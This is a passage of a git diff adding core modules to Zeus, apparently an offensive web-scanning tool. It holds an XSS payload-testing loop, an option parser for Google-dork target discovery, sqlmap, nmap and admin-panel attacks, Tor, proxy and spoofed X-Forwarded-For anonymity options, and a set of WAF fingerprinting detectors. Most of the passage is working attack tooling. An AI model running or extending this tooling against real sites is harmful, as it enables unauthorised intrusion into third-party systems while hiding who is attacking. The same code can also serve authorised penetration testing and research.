+        filename = create_urls(start_url, payloads, tamper=tamper, verbose=verbose, force=force)
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+                "loaded URL's have been saved to '{}'".format(filename), level=25
+            ))
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "testing for XSS vulnerabilities on host '{}'".format(start_url)
+        ))
+        if proxy is not None:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "using proxy '{}'".format(proxy)
+            ))
+        success = set()
+        with open(filename) as urls:
+            for i, url in enumerate(urls.readlines(), start=1):
+                url = url.strip()
+                payload = find_xss_script(url)
+                try:
+                    result = scan_xss(url, proxy=proxy, agent=agent)
+                    if verbose:
+                        lib.core.settings.logger.info(lib.core.settings.set_color(
+                            "trying payload '{}'".format(payload)
+                        ))
+                    if result[0] != "sqli" and result[0] is True:
+                        success.add(url)
+                        if verbose:
+                            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                                "payload '{}' appears to be usable".format(payload), level=15
+                            ))
+                    elif result[0] is "sqli":
+                        if i <= 1:
+                            lib.core.settings.logger.error(lib.core.settings.set_color(
+                                "loaded URL '{}' threw a DBMS error and appears to be injectable, test for "
+                                "SQL injection, backend DBMS appears to be '{}'".format(
+                                    url, result[1]
+                                ), level=40
+                            ))
+                        else:
+                            if verbose:
+                                lib.core.settings.logger.error(lib.core.settings.set_color(
+                                    "SQL error discovered", level=40
+                                ))
+                    else:
+                        if verbose:
+                            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                                "host '{}' does not appear to be vulnerable to XSS attacks with payload '{}'".format(
+                                    start_url, payload
+                                ), level=10
+                            ))
+                except (
+                        requests.exceptions.ConnectionError,
+                        requests.exceptions.TooManyRedirects,
+                        requests.exceptions.ReadTimeout,
+                        requests.exceptions.InvalidURL
+                ):
+                    if not payload == "":
+                        lib.core.settings.logger.error(lib.core.settings.set_color(
+                            "payload '{}' caused a connection error, assuming no good and continuing".format(payload), level=40
+                        ))
+
+        if len(success) != 0:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "possible XSS scripts to be used:", level=25
+            ))
+            lib.core.settings.create_tree(start_url, list(success))
+        else:
+            lib.core.settings.logger.error(lib.core.settings.set_color(
+                "host '{}' does not appear to be vulnerable to XSS attacks".format(start_url), level=40
+            ))
+        question_msg = "would you like to keep the created URLs saved for further testing"
+        if not batch:
+            save = lib.core.common.prompt(
+                question_msg, opts="yN"
+            )
+        else:
+            save = lib.core.common.prompt(
+                question_msg, opts="yN", default="n"
+            )
+
+        if save.lower().startswith("n"):
+            os.remove(filename)
+        else:
+            os.remove(filename)
+    except KeyboardInterrupt:
+        if not lib.core.common.pause():
+            lib.core.common.shutdown()
--- a/lib/core/common.py
+++ b/lib/core/common.py
@ -0,0 +1,340 @@
+import os
+import re
+import json
+import time
+import shlex
+import subprocess
+try:
+    from urllib import (  # python 2
+        unquote
+    )
+except ImportError:
+    from urllib.parse import (  # python 3
+        unquote
+    )
+
+import requests
+from lxml import etree
+
+import lib.core.settings
+
+# reference https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
+STATUS_CODES = {
+    100: "continue", 101: "switching protocols", 102: "processing",
+    200: "OK", 201: "created", 202: "accepted", 203: "non-authoritative information",
+    204: "no content", 205: "reset content", 206: "partial content",
+    207: "multi-status", 208: "already reported", 226: "IM used",
+    300: "multiple choices", 301: "moved permanently",  302: "found redirect",
+    303: "see other", 304: "not modified", 305: "use proxy",
+    306: "switch proxy", 308: "permanent redirect",
+    400: "bad request", 401: "unauthorized", 402: "payment required",
+    403: "forbidden", 404: "not found", 405: "method not allowed",
+    406: "not acceptable", 407: "proxy authentication required", 408: "request timed out",
+    409: "conflict", 410: "gone", 411: "length required", 412: "precondition failed",
+    413: "payload to large", 414: "URI too long", 415: "unsupported media type",
+    416: "range not satisfiable", 417: "expectation failed", 418: "im a teapot {EASTER EGG!}",
+    421: "misdirected request", 422: "unprocesseable entity", 423: "locked",
+    424: "failed dependency", 426: "upgrade requried", 428: "precondition required",
+    429: "to many requests", 431: "request headers field too large",
+    451: "unavailable for legal reasons",
+    500: "internal server error", 501: "not implemented", 502: "bad gateway",
+    503: "service unavailable", 504: "gateway timeout", 505: "HTTP version not supported",
+    506: "variant also negotiable", 507: "insufficient storage", 508: "loop detected",
+    510: "not extended", 511: "network authentication required", "other": "unexpected error code"
+}
+
+
+class HTTP_HEADER:
+    ACCEPT = "Accept"
+    ACCEPT_CHARSET = "Accept-Charset"
+    ACCEPT_ENCODING = "Accept-Encoding"
+    ACCEPT_LANGUAGE = "Accept-Language"
+    AUTHORIZATION = "Authorization"
+    CACHE_CONTROL = "Cache-Control"
+    CONNECTION = "Connection"
+    CONTENT_ENCODING = "Content-Encoding"
+    CONTENT_LENGTH = "Content-Length"
+    CONTENT_RANGE = "Content-Range"
+    CONTENT_TYPE = "Content-Type"
+    COOKIE = "Cookie"
+    EXPIRES = "Expires"
+    HOST = "Host"
+    IF_MODIFIED_SINCE = "If-Modified-Since"
+    LAST_MODIFIED = "Last-Modified"
+    LOCATION = "Location"
+    PRAGMA = "Pragma"
+    PROXY_AUTHORIZATION = "Proxy-Authorization"
+    PROXY_CONNECTION = "Proxy-Connection"
+    RANGE = "Range"
+    REFERER = "Referer"
+    REFRESH = "Refresh"  # Reference: http://stackoverflow.com/a/283794
+    SERVER = "Server"
+    SET_COOKIE = "Set-Cookie"
+    TRANSFER_ENCODING = "Transfer-Encoding"
+    URI = "URI"
+    USER_AGENT = "User-Agent"
+    VIA = "Via"
+    X_CACHE = "X-Cache"
+    X_POWERED_BY = "X-Powered-By"
+    X_DATA_ORIGIN = "X-Data-Origin"
+    X_FRAME_OPT = "X-Frame-Options"
+    X_FORWARDED_FOR = "X-Forwarded-For"
+
+
+class URLParser(object):
+
+    def __init__(self, url):
+        self.url = url
+        self.url_match_regex = re.compile(r"((https?):((//)|(\\\\))+([\w\d:#@%/;$()~_?\+-=\\\.&](#!)?)*)")
+        self.webcache_regex = re.compile(r"cache:(.{,16})?:")
+        self.possible_leftovers = ("<", ">", ";", ",")
+        self.webcache_schema = "webcache"
+        self.constant_ip_ban_splitter = "continue="
+        self.content_ip_ban_seperator = ("Fid", "&gs_")
+
+    def extract_webcache_url(self, splitter="+"):
+        """
+        extract the URL from Google's webcache URL
+        """
+        url = self.url
+        data = self.webcache_regex.split(url)
+        to_extract = data[2].split(splitter)
+        extracted = to_extract[0]
+        if self.url_match_regex.match(extracted):
+            return extracted
+        return None
+
+    def extract_ip_ban_url(self):
+        """
+        extract the true URL from Google's IP ban URL
+        """
+        url = unquote(self.url)
+        to_use_separator = None
+        retval_url = None
+        url_data_list = url.split(self.constant_ip_ban_splitter)
+        for item in url_data_list:
+            for sep in list(self.content_ip_ban_seperator):
+                if sep in item:
+                    to_use_separator = sep
+            retval_url = item.split(to_use_separator)
+        return unquote(retval_url[0])
+
+    def strip_url_leftovers(self):
+        """
+        strip any leftovers that come up with the URL every now and then
+        """
+        url = self.url
+        for possible in self.possible_leftovers:
+            if possible in url:
+                url = url.split(possible)[0]
+        return url
+
+
+def write_to_log_file(data_to_write, path, filename, blacklist=False):
+    """
+    write all found data to a log file
+    """
+    lib.core.settings.create_dir(path.format(os.getcwd()))
+    full_file_path = "{}/{}".format(
+        path.format(os.getcwd()), filename.format(len(os.listdir(path.format(
+            os.getcwd()
+        ))) + 1)
+    )
+    skip_log_schema = (
+        "url-log", "blackwidow-log", "zeus-log",
+        "extracted", ".blacklist", "sqli-sites"
+    )
+    to_search = filename.split("-")[0]
+    amount = len([f for f in os.listdir(path) if to_search in f])
+    new_filename = "{}({}).{}".format(
+                    filename.split("-")[0], amount, filename.split(".")[-1]
+                )
+    with open(full_file_path, "a+") as log:
+        data = re.sub(r'\s+', '', log.read())
+        if re.match(r'^<.+>$', data):  # matches HTML and XML
+            try:
+                log.write(etree.tostring(data_to_write, pretty_print=True))
+            except TypeError:
+                return write_to_log_file(data_to_write, path, new_filename)
+        elif amount > 0 and not any(_ in filename for _ in list(skip_log_schema)):
+            return write_to_log_file(data_to_write, path, new_filename)
+        elif blacklist:
+            items = log.readlines()
+            if any(d.strip() == data_to_write for d in items):
+                lib.core.settings.logger.info(lib.core.settings.set_color(
+                    "query already in blacklist"
+                ))
+                return full_file_path
+            else:
+                log.write(data_to_write + "\n")
+        else:
+            if isinstance(data_to_write, list):
+                for item in data_to_write:
+                    item = item.strip()
+                    log.write(str(item) + "\n")
+            elif isinstance(data_to_write, (tuple, set)):
+                for item in list(data_to_write):
+                    item = item.strip()
+                    log.write(str(item) + "\n")
+            elif isinstance(data_to_write, dict):
+                json.dump(data_to_write, log, sort_keys=True, indent=4)
+            else:
+                log.write(data_to_write + "\n")
+    lib.core.settings.logger.info(lib.core.settings.set_color(
+        "successfully wrote found items to '{}'".format(full_file_path)
+    ))
+    return full_file_path
+
+
+def start_up():
+    """
+    start the program and display the time it was started
+    """
+    print(
+        "\n\n[*] starting up at {}..\n\n".format(time.strftime("%H:%M:%S"))
+    )
+
+
+def shutdown():
+    """
+    shut down the program and the time it stopped
+    """
+    print(
+        "\n\n[*] shutting down at {}..\n\n".format(time.strftime("%H:%M:%S"))
+    )
+    exit(0)
+
+
+def prompt(question, opts=None, default=None, paused=False):
+    """
+    ask a question
+    """
+    if opts is not None and default is None:
+        options = '/'.join(opts)
+        return raw_input(
+            "[{} {}] {}[{}]: ".format(
+                time.strftime("%H:%M:%S"),
+                "PROMPT", question, options
+            )
+        )
+    elif default is not None:
+        if opts is not None:
+            options = "/".join(opts)
+            print(
+                "[{} {}] {}[{}] {}".format(
+                    time.strftime("%H:%M:%S"), "PROMPT",
+                    question, options, default
+                )
+            )
+            return default
+        else:
+            print(
+                "[{} {}] {} {}".format(
+                    time.strftime("%H:%M:%S"), "PROMPT",
+                    question, default
+                )
+            )
+            return default
+    elif opts is None and default is None and paused:
+        opts = "[(s)kip (e)xit]"
+        question_ = raw_input(
+            "[{} {}] {} {}: ".format(
+                time.strftime("%H:%M:%S"), "PROMPT", question, opts
+            )
+        )
+        if question_.lower().startswith("s"):
+            return True
+        return False
+    else:
+        return raw_input(
+            "[{} {}] {} ".format(
+                time.strftime("%H:%M:%S"), "PROMPT", question
+            )
+        )
+
+
+def pause():
+    """
+    interactive pause function, as of now you are only able to skip and exit
+    from this function
+    """
+    message = "program has been paused, how do you want to proceed?"
+    return prompt(
+        message, paused=True
+    )
+
+
+def run_fix(message, command, fail_message, exit_process=False):
+    """
+    run the fix script for the program
+    """
+    do_fix = prompt(
+        message, opts="yN"
+    )
+    if do_fix.lower().startswith("y"):
+        cmd = shlex.split(command)
+        subprocess.call(cmd)
+        if exit_process:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "command completed successfully, should be safe to re-run Zeus"
+            ))
+    else:
+        lib.core.settings.logger.fatal(lib.core.settings.set_color(
+            fail_message, level=50
+        ))
+
+
+def get_page(url, **kwargs):
+    agent = kwargs.get("agent", None)
+    proxy = kwargs.get("proxy", None)
+    xforward = kwargs.get("xforward", False)
+    auth = kwargs.get("auth", None)
+    skip_verf = kwargs.get("skip_verf", False)
+
+    if agent is None:
+        agent = lib.core.settings.DEFAULT_USER_AGENT
+
+    if xforward:
+        ip_list = (
+            lib.core.settings.create_random_ip(),
+            lib.core.settings.create_random_ip(),
+            lib.core.settings.create_random_ip()
+        )
+        headers = {
+            HTTP_HEADER.CONNECTION: "close",
+            HTTP_HEADER.USER_AGENT: agent,
+            HTTP_HEADER.X_FORWARDED_FOR: "{}, {}, {}".format(
+                ip_list[0], ip_list[1], ip_list[2]
+            )
+        }
+    elif auth:
+        headers = {
+            HTTP_HEADER.CONNECTION: "close",
+            HTTP_HEADER.USER_AGENT: agent,
+            HTTP_HEADER.AUTHORIZATION: "{}".format(
+                auth
+            )
+        }
+    else:
+        headers = {
+            HTTP_HEADER.CONNECTION: "close",
+            HTTP_HEADER.USER_AGENT: agent
+        }
+
+    if proxy is not None:
+        proxies = {
+            "https": proxy,
+            "http": proxy
+        }
+    else:
+        proxies = {}
+
+    if proxy is not None and "127.0.0.1" in proxy:
+        req = requests.get(url, params=headers, proxies=proxies, verify=False, timeout=40)
+    else:
+        req = requests.get(url, params=headers, proxies=proxies, verify=False, timeout=20)
+
+    status = req.status_code
+    html = req.content
+    headers = req.headers
+    return req, status, html, headers
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@ -0,0 +1,41 @@
+import signal
+from functools import wraps
+
+import lib.core.errors
+import lib.core.settings
+
+
+class TimeOut:
+
+    def __init__(self, seconds=1, error_message='Timeout'):
+        self.seconds = seconds
+        self.error_message = error_message
+
+    def handle_timeout(self, signum, frame):
+        raise lib.core.errors.PortScanTimeOutException(self.error_message)
+
+    def __enter__(self):
+        signal.signal(signal.SIGALRM, self.handle_timeout)
+        signal.alarm(self.seconds)
+
+    def __exit__(self, type_, value, traceback):
+        signal.alarm(0)
+
+
+def cache(func):
+    """
+    if we come across the same URL more then once, it will be cached into memory
+    so that we don't have to test it again
+    """
+    __cache = {}
+
+    @wraps(func)
+    def func_wrapper(*args, **kwargs):
+        if args in __cache:
+            return __cache[args]
+        else:
+            __to_cache = func(*args, **kwargs)
+            __cache[args] = __to_cache
+            return __to_cache
+
+    return func_wrapper
--- a/lib/core/errors.py
+++ b/lib/core/errors.py
@ -16,4 +16,10 @@ class SpiderTestFailure(Exception): pass
 class InvalidInputProvided(Exception): pass


-class InvalidTamperProvided(Exception): pass
+class InvalidTamperProvided(Exception): pass
+
+
+class PortScanTimeOutException(Exception): pass
+
+
+class ZeusArgumentException(Exception): pass
--- a/lib/core/parse.py
+++ b/lib/core/parse.py
@ -0,0 +1,295 @@
+import sys
+from optparse import (
+    OptionParser,
+    OptionGroup,
+    SUPPRESS_HELP
+)
+
+import lib.core.settings
+import lib.core.common
+import lib.core.errors
+import lib.attacks.nmap_scan.nmap_opts
+import lib.attacks.sqlmap_scan.sqlmap_opts
+
+
+class ZeusParser(OptionParser):
+
+    """
+    Zeus's option parser
+    """
+
+    def __init__(self):
+        OptionParser.__init__(self)
+
+    @staticmethod
+    def cmd_parser():
+        """
+        command line parser, parses all of Zeus's arguments and flags
+        """
+        parser = OptionParser(usage="./zeus.py -d|r|l|f|b DORK|FILE|URL [ATTACKS] [--OPTS]")
+
+        # mandatory options
+        mandatory = OptionGroup(parser, "Mandatory Options",
+                                "These options have to be used in order for Zeus to run")
+
+        mandatory.add_option("-d", "--dork", dest="dorkToUse", metavar="DORK",
+                             help="Specify a singular Google dork to use for queries")
+
+        mandatory.add_option("-l", "--dork-list", dest="dorkFileToUse", metavar="FILE-PATH",
+                             help="Specify a file full of dorks to run through")
+
+        mandatory.add_option("-r", "--rand-dork", dest="useRandomDork", action="store_true",
+                             help="Use a random dork from the etc/dorks.txt file to perform the scan")
+
+        mandatory.add_option("-b", "--blackwidow", dest="spiderWebSite", metavar="URL",
+                             help="Spider a single webpage for all available URL's")
+
+        mandatory.add_option("-f", "--url-file", dest="fileToEnumerate", metavar="FILE-PATH",
+                             help="Run an attack on URL's in a given file")
+
+        # being worked on
+        # TODO:/
+        mandatory.add_option("-u", "--url", dest="singleTargetRecon", metavar="URL",
+                             help=SUPPRESS_HELP)
+
+        # attack options
+        attacks = OptionGroup(parser, "Attack arguments",
+                              "These arguments will give you the choice on how you want to check the websites")
+
+        attacks.add_option("-s", "--sqli", dest="runSqliScan", action="store_true",
+                           help="Run a Sqlmap SQLi scan on the discovered URL's")
+
+        attacks.add_option("-p", "--port-scan", dest="runPortScan", action="store_true",
+                           help="Run a Nmap port scan on the discovered URL's")
+
+        attacks.add_option("-a", "--admin-panel", dest="adminPanelFinder", action="store_true",
+                           help="Search for the websites admin panel")
+
+        attacks.add_option("-x", "--xss-scan", dest="runXssScan", action="store_true",
+                           help="Run an XSS scan on the found URL's")
+
+        attacks.add_option("-w", "--whois-lookup", dest="performWhoisLookup", action="store_true",
+                           help="Perform a WhoIs lookup on the provided domain")
+
+        attacks.add_option("-c", "--clickjacking", dest="performClickjackingScan", action="store_true",
+                           help="Perform a clickjacking scan on a provided URL")
+
+        # being worked on
+        # TODO:/
+        attacks.add_option("-g", "--github-search", dest="searchGithub", action="store_true",
+                           help=SUPPRESS_HELP)
+
+        attacks.add_option("-P", "--pgp", dest="pgpLookup", action="store_true",
+                           help="Perform a PGP public key lookup on the found URLs")
+
+        attacks.add_option("--sqlmap-args", dest="sqlmapArguments", metavar="SQLMAP-ARGS",
+                           help="Pass the arguments to send to the sqlmap API within quotes & "
+                                "separated by a comma. IE 'dbms mysql, verbose 3, level 5'")
+
+        attacks.add_option("--sqlmap-conf", dest="sqlmapConfigFile", metavar="CONFIG-FILE-PATH",
+                           help="Pass a configuration file that contains the sqlmap arguments")
+
+        attacks.add_option("--nmap-args", dest="nmapArguments", metavar="NMAP-ARGS",
+                           help="Pass the arguments to send to the nmap API within quotes & "
+                                "separated by a pipe. IE '-O|-p 445, 1080'")
+
+        attacks.add_option("--show-sqlmap", dest="showSqlmapArguments", action="store_true",
+                           help="Show the arguments that the sqlmap API understands")
+
+        attacks.add_option("--show-nmap", dest="showNmapArgs", action="store_true",
+                           help="Show the arguments that nmap understands")
+
+        attacks.add_option("--show-possibles", dest="showAllConnections", action="store_true",
+                           help="Show all connections made during the admin panel search")
+
+        attacks.add_option("--tamper", dest="tamperXssPayloads", metavar="TAMPER-SCRIPT",
+                           help="Send the XSS payloads through tampering before sending to the target")
+
+        # being worked on
+        # TODO:/
+        attacks.add_option("--thread", dest="threadPanels", action="store_true",
+                           help=SUPPRESS_HELP)
+
+        attacks.add_option("--auto", dest="autoStartSqlmap", action="store_true",
+                           help="Automatically start the sqlmap API (or at least try to)")
+
+        # search engine options
+        engines = OptionGroup(parser, "Search engine arguments",
+                              "Arguments to change the search engine used (default is Google)")
+
+        engines.add_option("-D", "--search-engine-ddg", dest="useDDG", action="store_true",
+                           help="Use DuckDuckGo as the search engine")
+
+        engines.add_option("-B", "--search-engine-bing", dest="useBing", action="store_true",
+                           help="Use Bing as the search engine")
+
+        engines.add_option("-A", "--search-engine-aol", dest="useAOL", action="store_true",
+                           help="Use AOL as the search engine")
+
+        # arguments to edit your search patterns
+        search_items = OptionGroup(parser, "Search options",
+                                   "Arguments that will control the search criteria")
+
+        search_items.add_option("-L", "--links", dest="amountToSearch", type=int, metavar="HOW-MANY-LINKS",
+                                help="Specify how many links to try and search on Google")
+
+        search_items.add_option("-M", "--multi", dest="searchMultiplePages", action="store_true",
+                                help="Search multiple pages of Google")
+
+        search_items.add_option("-E", "--exclude-none", dest="noExclude", action="store_true",
+                                help="Do not exclude URLs because they do not have a GET(query) parameter in them")
+
+        search_items.add_option("-W", "--webcache", dest="parseWebcache", action="store_true",
+                                help="Parse webcache URLs for the redirect in them")
+
+        search_items.add_option("--x-forward", dest="forwardedForRandomIP", action="store_true",
+                                help="Add a header called 'X-Forwarded-For' with three random IP addresses")
+
+        search_items.add_option("--time-sec", dest="controlTimeout", metavar="SECONDS", type=int,
+                                help="Control the sleep and timeout times in relevant situations")
+
+        search_items.add_option("--identify-waf", dest="identifyProtection", action="store_true",
+                                help="Attempt to identify if the target is protected by some kind of "
+                                     "WAF/IDS/IPS")
+
+        # being worked on
+        # TODO:/
+        search_items.add_option("--force-ssl", dest="forceSSL", action="store_true",
+                                help=SUPPRESS_HELP)
+
+        search_items.add_option("--identify-plugins", dest="identifyPlugin", action="store_true",
+                                help="Attempt to identify what plugins the target is using")
+
+        # obfuscation options
+        anon = OptionGroup(parser, "Anonymity arguments",
+                           "Arguments that help with anonymity and hiding identity")
+
+        anon.add_option("--proxy", dest="proxyConfig", metavar="PROXY-STRING",
+                        help="Use a proxy to do the scraping, will not auto configure to the API's")
+
+        anon.add_option("--proxy-file", dest="proxyFileRand", metavar="FILE-PATH",
+                        help="Grab a random proxy from a given file of proxies")
+
+        anon.add_option("--random-agent", dest="useRandomAgent", action="store_true",
+                        help="Use a random user-agent from the etc/agents.txt file")
+
+        anon.add_option("--agent", dest="usePersonalAgent", metavar="USER-AGENT",
+                        help="Use your own personal user-agent"),
+
+        anon.add_option("--tor", dest="useTor", action="store_true",
+                        help="Use Tor connection as the proxy and set the firefox browser settings to mimic Tor")
+
+        # miscellaneous options
+        misc = OptionGroup(parser, "Misc Options",
+                           "These options affect how the program will run")
+
+        misc.add_option("--verbose", dest="runInVerbose", action="store_true",
+                        help="Run the application in verbose mode (more output)")
+
+        misc.add_option("--batch", dest="runInBatch", action="store_true",
+                        help="Skip the questions and run in default batch mode")
+
+        misc.add_option("--update", dest="updateZeus", action="store_true",
+                        help="Update to the latest development version")
+
+        misc.add_option("--hide", dest="hideBanner", action="store_true",
+                        help="Hide the banner during running")
+
+        misc.add_option("--version", dest="showCurrentVersion", action="store_true",
+                        help="Show the current version and exit")
+
+        # being worked on
+        # TODO:/
+        misc.add_option("-T", "--x-threads", dest="amountOfThreads", metavar="THREAD-AMOUNT", type=int,
+                        help=SUPPRESS_HELP)
+
+        misc.add_option("--show-success", dest="showSuccessRate", action="store_true",
+                        help="Calculate the dorks success rate and output the calculation in human readable form")
+
+        misc.add_option("--show-description", dest="showPluginDescription", action="store_true",
+                        help="Show the description of the identified plugins")
+
+        parser.add_option_group(mandatory)
+        parser.add_option_group(attacks)
+        parser.add_option_group(search_items)
+        parser.add_option_group(anon)
+        parser.add_option_group(engines)
+        parser.add_option_group(misc)
+
+        opt, _ = parser.parse_args()
+        return opt
+
+    @staticmethod
+    def single_show_args(opt):
+        """
+        parses Zeus's single time run arguments
+        """
+        if opt.showCurrentVersion:
+            print(lib.core.settings.VERSION_STRING)
+            exit(0)
+        if opt.showSqlmapArguments:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "there are a total of {} arguments understood by sqlmap API, "
+                "they include:".format(len(lib.attacks.sqlmap_scan.sqlmap_opts.SQLMAP_API_OPTIONS))
+            ))
+            print("\n")
+            for arg in lib.attacks.sqlmap_scan.sqlmap_opts.SQLMAP_API_OPTIONS:
+                print(
+                    "[*] {}".format(arg)
+                )
+            print("\n")
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "for more information about sqlmap arguments, see here '{}'".format(
+                    lib.core.settings.SQLMAP_MAN_PAGE_URL
+                )
+            ))
+            lib.core.common.shutdown()
+
+        if opt.showNmapArgs:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "there are a total of {} arguments understood by nmap, they include:".format(
+                    len(lib.attacks.nmap_scan.nmap_opts.NMAP_API_OPTS)
+                )
+            ))
+            print("\n")
+            for arg in lib.attacks.nmap_scan.nmap_opts.NMAP_API_OPTS:
+                print(
+                    "[*] {}".format(arg)
+                )
+            print("\n")
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "for more information on what the arguments do please see here '{}'".format(
+                    lib.core.settings.NMAP_MAN_PAGE_URL
+                )
+            ))
+            lib.core.common.shutdown()
+
+        # update the program
+        if opt.updateZeus:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "update in progress"
+            ))
+            lib.core.settings.update_zeus()
+            lib.core.common.shutdown()
+
+    @staticmethod
+    def verify_args(args=sys.argv):
+        not_implemented_args = (
+            "-T", "--x-threads", "--force-ssl", "--thread",
+            "-g", "--github-search", "-u", "--url"
+        )
+        # check if any of the arguments are not implemented that have been passed
+        # via the command line
+        # TODO:/
+        # need to create a way to parse all arguments for compatibility with one another
+        for arg in args:
+            for nia in not_implemented_args:
+                if arg == nia:
+                    raise lib.core.errors.ZeusArgumentException(
+                        "\n\nit appears that one of the arguments you have passed ('{}'), "
+                        "has not been implemented into Zeus production yet. This usually means "
+                        "that the option is still in testing and is not ready for use. Arguments "
+                        "that are still in testing are: {}\n".format(
+                            nia, ", ".join(["'{}'".format(a) for a in not_implemented_args])
+                        )
+                    )
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
--- a/var/google_search/init.py
+++ b/var/google_search/init.py
--- a/lib/firewall/akamai.py
+++ b/lib/firewall/akamai.py
@ -0,0 +1,21 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "AkamaiGHost Website Protection (Akamai Global Host)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    content = str(content)
+    detection_schema = (
+        re.compile(r"you.don.t.have.permission.to.access", re.I),
+        re.compile(r"<.+>access.denied<.+.>", re.I),
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            if re.compile(r"\bakamaighost", re.I).search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+                return True
+            if re.compile(r"\bak.bmsc.", re.I).search(headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None:
+                return True
--- a/lib/firewall/anquanbao.py
+++ b/lib/firewall/anquanbao.py
@ -0,0 +1,19 @@
+import re
+
+
+__item__ = "Anquanbao Web Application Firewall (Anquanbao)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    content = str(content)
+    detection_scehmas = (re.compile(r"/aqb_cc/error/"), )
+    if headers is not None:
+        for detection in detection_scehmas:
+            if detection.search(content) is not None:
+                return True
+        try:
+            if re.compile(r"MISS").search(headers.get("X-Powered-By-Anquanbao")) is not None:
+                return True
+        except Exception:
+            pass
--- a/lib/firewall/armor.py
+++ b/lib/firewall/armor.py
@ -0,0 +1,15 @@
+import re
+
+
+__item__ = "Armor Protection (Armor Defense)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schema = (
+        re.compile(r"\barmor\b", re.I),
+        re.compile(r"blocked.by.website.protection.from.armour", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
--- a/lib/firewall/aws.py
+++ b/lib/firewall/aws.py
@ -0,0 +1,26 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Amazon Web Services Web Application Firewall (Amazon)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    content = str(content)
+    detection_schema = (
+        re.compile(r"<RequestId>[0-9a-zA-Z]{16,25}<.RequestId>", re.I),
+        re.compile(r"<Error><Code>AccessDenied<.Code>", re.I),
+        re.compile(r"\bAWS", re.I),
+        re.compile(r"x.amz.id.\d+", re.I),
+        re.compile(r"x.amz.request.id", re.I),
+        re.compile(r"amazon.\d+", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.X_POWERED_BY, "")) is not None:
+            return True
--- a/lib/firewall/bigip.py
+++ b/lib/firewall/bigip.py
@ -0,0 +1,19 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "BIG-IP Application Security Manager (F5 Networks)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"\ATS\w{4,}=", re.I), re.compile(r"BIGip|BipServer", re.I),
+        re.compile(r"\AF5\Z", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None:
+            return True
--- a/lib/firewall/cloudflare.py
+++ b/lib/firewall/cloudflare.py
@ -0,0 +1,26 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "CloudFlare Web Application Firewall (CloudFlare)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    content = str(content)
+    detection_schemas = (
+        re.compile(r"CloudFlare Ray ID:|var CloudFlare=", re.I),
+        re.compile(r"cloudflare-nginx", re.I),
+        re.compile(r"\A__cfduid=", re.I),
+        re.compile(r"CF_RAY", re.I)
+    )
+    for detection in detection_schemas:
+        if detection.search(content) is not None:
+            return True
+        elif detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
+        elif detection.search(headers.get(HTTP_HEADER.COOKIE, "")) is not None:
+            return True
+        elif detection.search(str(headers)) is not None:
+            return True
--- a/lib/firewall/cloudfront.py
+++ b/lib/firewall/cloudfront.py
@ -0,0 +1,16 @@
+import re
+
+
+__item__ = "CloudFront Firewall (Amazon)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"\d.\d.[a-zA-Z0-9]{32,60}.cloudfront.net", re.I),
+        re.compile(r"cloudfront", re.I),
+        re.compile(r"X-Amz-Cf-Id", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(str(headers)) is not None:
+            return True
--- a/lib/firewall/dw.py
+++ b/lib/firewall/dw.py
@ -0,0 +1,16 @@
+import re
+
+
+__item__ = "DynamicWeb Injection Check (DynamicWeb)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    status = kwargs.get("status", None)
+    detection_schema = (
+        re.compile(r"dw.inj.check", re.I),
+    )
+    if status == 403:
+        for detection in detection_schema:
+            if detection.search(headers.get("X-403-status-by", "")) is not None:
+                return True
--- a/lib/firewall/fortigate.py
+++ b/lib/firewall/fortigate.py
@ -0,0 +1,22 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "FortiWeb Web Application Firewall (Fortinet)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    content = str(content)
+    detection_schema = (
+        re.compile(r"<.+>powered.by.fortinet<.+.>", re.I),
+        re.compile(r"<.+>fortigate.ips.sensor<.+.>", re.I),
+        re.compile(r"fortigate", re.I), re.compile(r".fgd_icon", re.I),
+        re.compile(r"\AFORTIWAFSID=", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None:
+            return True
